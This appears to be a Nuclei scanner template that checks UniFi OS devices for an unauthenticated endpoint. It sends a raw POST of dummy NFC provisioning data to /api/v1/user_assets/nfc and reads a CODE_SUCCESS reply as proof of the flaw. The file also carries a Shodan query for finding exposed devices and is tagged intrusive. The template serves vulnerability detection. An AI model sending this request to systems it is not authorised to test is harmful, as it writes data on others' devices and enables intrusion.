id: unifi-create-user

info:
  name: UniFi - Unauthenticated Creation Access For Users
  author: DhiyaneshDk
  severity: high
  description: |
    The /api/v1/user_assets/nfc endpoint accepts unauthenticated POST requests with NFC provisioning data (e.g., alias, asset_id, nfc_id, tokens) and returns {"code":"CODE_SUCCESS"} over HTTP, confirming backend processing without any authentication or session validation.
  reference:
    - https://www.catchify.sa/post/cve-2025-52665-rce-in-unifi-os-25-000
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"UniFi Dream Machine SE"
  tags: unifi,unauth,vuln,intrusive

variables:
  rand_string: '{{to_lower(rand_text_alpha(6))}}'

http:
  - raw:
      - |
        @Host: {{Host}}:9780
        POST /api/v1/user_assets/nfc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "alias": "{{rand_string}}",
          "asset_id": "1",
          "need_provision": true,
          "nfc_id": "1",
          "plain_token": "1",
          "sys_id": "1",
          "token": "1",
          "ua_card_id": "1",
          "ua_card_pub_key": "1"
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"CODE_SUCCESS")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100bfe6738d849f654b6b7a73cc4138ce60ce0f43721916c17ea78e368ce179fc35022100a90cf38d66664875ae889bd18c6ecb202f667bb15815b19db3a79ee3641efa10:922c64590222798bb761d5b6d8e72950